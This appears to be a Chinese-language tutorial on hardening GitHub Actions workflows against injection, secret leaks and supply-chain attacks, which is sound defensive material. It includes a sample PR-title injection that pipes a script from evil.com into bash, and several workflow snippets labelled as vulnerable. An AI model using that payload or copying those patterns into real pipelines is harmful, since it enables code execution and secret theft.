GitHub Actions 已成为全球使用最广泛的 CI/CD 平台,月活跃工作流超过 1.2 亿个。但与此同时,针对 CI/CD 管道的供应链攻击在 2025 年增长了 300%,其中 GitHub Actions 是攻击者最青睐的目标之一——因为它天然具备访问代码、密钥和生产环境的能力。大多数开发者的 .github/workflows/ 目录里,藏着比他们想象中更多的安全隐患。
🔐 一、GitHub Actions 攻击面全景分析
在谈加固之前,先搞清楚攻击者能从哪些角度切入。GitHub Actions 的安全模型涉及多个层次:工作流触发机制、Action 来源可信度、运行时权限边界、以及 Secret 的暴露路径。
💉 脚本注入(Script Injection)
脚本注入是 GitHub Actions 中最常见也最危险的漏洞类型。当工作流中使用了 ${{ }} 表达式直接拼接用户可控的数据(如 PR 标题、分支名、Issue 内容)到 Shell 命令或环境变量中时,攻击者可以注入任意命令。
一个典型的漏洞示例:
# ❌ 危险写法:直接将 PR 标题拼接到 shell 命令
name: PR Comment
on:
pull_request:
types: [opened]
jobs:
comment:
runs-on: ubuntu-latest
steps:
- name: Process PR title
run: echo "Processing ${{ github.event.pull_request.title }}"
攻击者只需创建一个标题为 "; curl evil.com/steal.sh | bash; echo " 的 PR,就能在 Runner 上执行任意命令。
正确的做法是将用户输入通过环境变量传递,而不是直接拼接:
# ✅ 安全写法:通过环境变量隔离用户输入
name: PR Comment
on:
pull_request:
types: [opened]
jobs:
comment:
runs-on: ubuntu-latest
steps:
- name: Process PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Processing $PR_TITLE"
⚠️ **警告:**永远不要在
run:命令中直接使用${{ github.event.* }}、${{ github.head_ref }}等用户可控的上下文变量。它们会被直接展开为字符串拼接到 Shell 命令中,等同于直接执行用户输入。
除了 run: 字段,actions/github-script 中的 with: 参数同样存在注入风险:
# ❌ 危险写法:github-script 中的注入
- uses: actions/github-script@v7
with:
script: |
const title = '${{ github.event.pull_request.title }}';
// 攻击者可以通过 PR 标题注入 JS 代码
# ✅ 安全写法:通过环境变量传递
- uses: actions/github-script@v7
env:
PR_TITLE: ${{ github.event.pull_request.title }}
with:
script: |
const title = process.env.PR_TITLE;
🔑 Secret 泄露路径
Secret 泄露是另一个高频安全问题。很多开发者不清楚 Secret 在哪些场景下会被意外暴露:
| 泄露场景 | 风险等级 | 原因 |
|---|---|---|
echo $SECRET 在日志中 |
🔴 高 | GitHub 会自动掩码,但掩码不完美 |
| Fork PR 触发的 workflow | 🔴 高 | pull_request 事件中 Secret 不可用,但 pull_request_target 中可用且代码可控 |
| Artifact 中包含 Secret | 🟡 中 | Artifact 可被同一仓库的其他 workflow 下载 |
| 缓存投毒泄露 | 🟡 中 | 恶意缓存可能包含构建时的环境变量 |
| Debug 日志开启 | 🔴 高 | ACTIONS_STEP_DEBUG=true 会输出所有上下文 |
📌 记住:
pull_request_target事件运行在目标仓库的上下文中,拥有目标仓库的 Secret 和写权限,但默认 checkout 的是目标仓库的代码。如果在pull_request_target中先 checkout PR 的代码再运行,就等于把仓库的 Secret 暴露给了外部攻击者。
# ❌ 极其危险:pull_request_target + checkout PR 代码
name: Danger Zone
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# 这会 checkout PR 的代码,但工作流拥有目标仓库的 Secret
- run: make build # PR 代码中可以窃取 Secret
🎭 第三方 Action 供应链攻击
GitHub Marketplace 上有超过 2 万个 Action,但大多数开发者在引用它们时使用的是版本标签(如 @v4),而非 SHA 哈希。版本标签是可变引用——Action 作者(或入侵了作者账户的攻击者)可以随时将标签指向不同的 commit。
一个真实的攻击场景:
- 攻击者 fork 一个流行的 Action(如
actions/checkout) - 在 fork 中添加恶意代码,窃取
GITHUB_TOKEN和其他 Secret - 通过 typo squatting(如
actions/checkcout)或社会工程诱骗开发者使用 - 即使是合法 Action 的维护者账户被入侵,标签也可以被篡改
🛡️ 二、安全加固实战方案
了解了攻击面之后,下面是一套完整的加固方案,从 Action 版本锁定到权限最小化,从 Secret 管理到 OIDC 云部署。
📌 SHA Pinning:锁定 Action 版本
SHA Pinning 是防御供应链攻击的第一道防线。将 Action 引用从版本标签改为完整的 commit SHA,确保即使上游标签被篡改,你的 workflow 也不会受到影响。
# ❌ 危险:使用可变标签
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
# ✅ 安全:使用 SHA 锁定
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
💡 **提示:**SHA 后面的注释(如
# v4.2.2)非常重要,它帮助团队成员理解这个 SHA 对应哪个版本。可以使用 pin-github-action 工具自动完成 SHA 锁定。
批量锁定所有 Action 的自动化脚本:
#!/bin/bash
# pin-actions.sh - 自动将 workflow 中的 Action 引用锁定到 SHA
# 用法: ./pin-actions.sh .github/workflows/*.yml
for workflow in "$@"; do
echo "Pinning actions in: $workflow"
# 提取所有 uses: owner/repo@version 格式的引用
grep -oP 'uses:\s+\K[^/]+/[^@]+@[^ ]+' "$workflow" | while read -r action; do
owner_repo=$(echo "$action" | cut -d'@' -f1)
version=$(echo "$action" | cut -d'@' -f2)
# 跳过已经是 SHA 的引用
if [[ "$version" =~ ^[0-9a-f]{40}$ ]]; then
continue
fi
# 通过 GitHub API 获取对应 tag 的 commit SHA
sha=$(curl -s "https://api.github.com/repos/${owner_repo}/git/ref/tags/${version}" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('object',{}).get('sha',''))" 2>/dev/null)
if [ -n "$sha" ] && [ "$sha" != "" ]; then
echo " Pinning ${owner_repo}@${version} -> ${sha:0:40}"
sed -i "s|${owner_repo}@${version}|${owner_repo}@${sha:0:40} # ${version}|g" "$workflow"
fi
done
done
🔒 最小权限原则(Least Privilege)
GitHub Actions 的默认权限在 2023 年后已改为只读,但很多项目为了方便又手动开放了过多权限。正确的做法是全局只读,按需逐个开放。
# ✅ 最佳实践:全局只读 + 按需开放
name: Secure CI
on:
push:
branches: [main]
pull_request:
branches: [main]
# 全局权限设为只读
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- run: npm test
publish:
if: github.ref == 'refs/heads/main'
needs: test
runs-on: ubuntu-latest
# 只有发布 job 才需要写权限
permissions:
contents: write
packages: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- run: npm publish
下表列出了常见权限的最小需求:
| 权限 | 读取(read) | 写入(write) | 典型场景 |
|---|---|---|---|
contents |
checkout 代码 | 创建 Release、推送代码 | 构建需要读,发布需要写 |
packages |
拉取镜像 | 推送容器镜像 | Docker 构建发布 |
issues |
读取 Issue | 创建/更新 Issue | 自动化 Issue 管理 |
pull-requests |
读取 PR | 创建 Review Comment | 代码审查机器人 |
id-token |
无 | 请求 OIDC Token | 云服务无密钥部署 |
actions |
读取 Artifact | 上传/下载 Artifact | 跨 Job 传递产物 |
🔐 OIDC 无密钥部署
传统方式下,部署到 AWS/GCP/Azure 需要在 GitHub Secrets 中存储长期凭证(Access Key)。OIDC(OpenID Connect)允许 GitHub Actions 直接向云服务商证明身份,无需存储任何长期密钥。
# ✅ 使用 OIDC 部署到 AWS,无需存储 Access Key
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
contents: read
id-token: write # 必须:请求 OIDC token
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
# 配置 AWS CLI 使用 OIDC
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
aws-region: ap-southeast-1
# 直接使用,无需手动配置凭证
- name: Deploy
run: |
aws s3 sync ./dist s3://my-bucket --delete
AWS 侧需要配置信任策略,允许 GitHub 的 OIDC Provider 代入角色:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
⚡ **关键结论:**OIDC 不仅更安全(没有长期密钥泄露风险),还更易管理——不需要轮换密钥,不需要在多个仓库间同步 Secret。所有主流云服务商(AWS、GCP、Azure)都已支持 GitHub Actions OIDC。
🚨 三、真实攻击案例与自动化检测
📊 案例分析:Codecov 供应链攻击(2021)
2021 年的 Codecov 事件是 CI/CD 供应链攻击的经典案例。攻击者修改了 Codecov 的 Bash Uploader 脚本,使其在 CI 环境中收集环境变量(包括 Secret)并发送到攻击者服务器。
攻击链:
- Codecov 的 Docker 镜像构建过程中存在竞态条件
- 攻击者修改了上传脚本,添加了数据外泄代码
- 所有使用该脚本的 CI 管道自动执行恶意代码
- 攻击者获得了大量企业的 Secret、AWS Key、数据库凭证
教训:即使是广泛使用的 CI 工具也可能被篡改。SHA Pinning + 最小权限 + Secret 审计是基本防线。
🔍 案例分析:Ultralytics PyPI 投毒(2024)
2024 年 12 月,流行的 AI 库 Ultralytics(YOLOv8)在 PyPI 上发布了被投毒的版本。攻击者通过 GitHub Actions 的 workflow 漏洞注入恶意代码,自动发布了包含加密货币挖矿程序的包。
攻击路径:攻击者利用了 workflow 中的 pull_request_target 事件,结合不安全的 checkout 操作,在 CI 环境中执行了恶意代码并篡改了发布流程。
🤖 自动化安全检测
手动审计 workflow 效率低下,推荐使用自动化工具持续检测:
# .github/workflows/security-audit.yml
name: Workflow Security Audit
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
audit:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
# 使用 Zizmor 检测 workflow 安全问题
- name: Run Zizmor
run: |
pip install zizmor
zizmor --format sarif .github/workflows/ > results.sarif || true
# 上传结果到 GitHub Security tab
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
# 使用 actionlint 检查语法和安全问题
- name: Run actionlint
run: |
bash <(curl -s https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
./actionlint -color
推荐的安全检测工具对比:
| 工具 | 类型 | 检测能力 | 推荐度 |
|---|---|---|---|
| Zizmor | 静态分析 | 脚本注入、权限过宽、Secret 泄露 | ⭐⭐⭐⭐⭐ |
| actionlint | 语法检查 | 语法错误、表达式问题 | ⭐⭐⭐⭐ |
| StepSecurity | 运行时防护 | 网络策略、文件监控 | ⭐⭐⭐⭐ |
| Scorecard | 供应链评估 | 整体安全评分 | ⭐⭐⭐ |
💡 **提示:**Zizmor 是目前最推荐的 GitHub Actions 安全审计工具,由 Trail of Bits 团队开发,能够检测出脚本注入、过宽权限、未锁定的 Action 引用等常见问题。建议在所有 PR 中自动运行。
✅ 安全检查清单
将以下检查项加入你的项目 Review 流程:
- ✅ 所有第三方 Action 使用 SHA 锁定版本
- ✅ 工作流全局权限设为
contents: read,按需逐个开放 - ✅ 不在
run:中直接使用${{ github.event.* }}等用户可控变量 - ✅ 不使用
pull_request_target+ checkout PR 代码的组合 - ✅ 云部署使用 OIDC 而非长期 Access Key
- ✅ Secret 范围限制到最小(环境级别 > 仓库级别 > 组织级别)
- ❌ 避免使用
ACTIONS_STEP_DEBUG=true(除非调试,且确保日志不公开) - ❌ 避免在 Artifact 中包含 Secret 或凭证
- ❌ 避免使用第三方 Action 处理 Secret(优先使用官方 Action)
- ⚠️ 定期审计仓库的 Secret 列表,清理不再使用的密钥
- ⚠️ 启用 GitHub 的 “Require approval for all outside collaborators” 策略
💡 总结
GitHub Actions 安全不是一个可以一劳永逸解决的问题,而是一个需要持续关注的过程。核心原则可以归纳为三条:
- 不信任任何输入——所有用户可控的数据都通过环境变量传递,绝不直接拼接到命令中
- 最小权限——全局只读,按需开放,使用 OIDC 替代长期密钥
- 锁定一切——Action 使用 SHA 锁定,依赖版本明确,构建产物可复现
⚡ **关键结论:**安全加固的投入产出比极高——SHA Pinning 只需 5 分钟就能完成,却能防御供应链攻击;权限最小化只需修改几行 YAML,却能将攻击影响从"全面沦陷"降低到"有限暴露"。不要等到出事才行动。
相关工具推荐:
- Zizmor — GitHub Actions 安全审计首选工具
- pin-github-action — 自动 SHA 锁定
- StepSecurity Harden-Runner — 运行时安全防护
- GitHub Actions Security Hardening — 官方安全指南
- SSF (Supply-chain Security Framework) — 供应链安全框架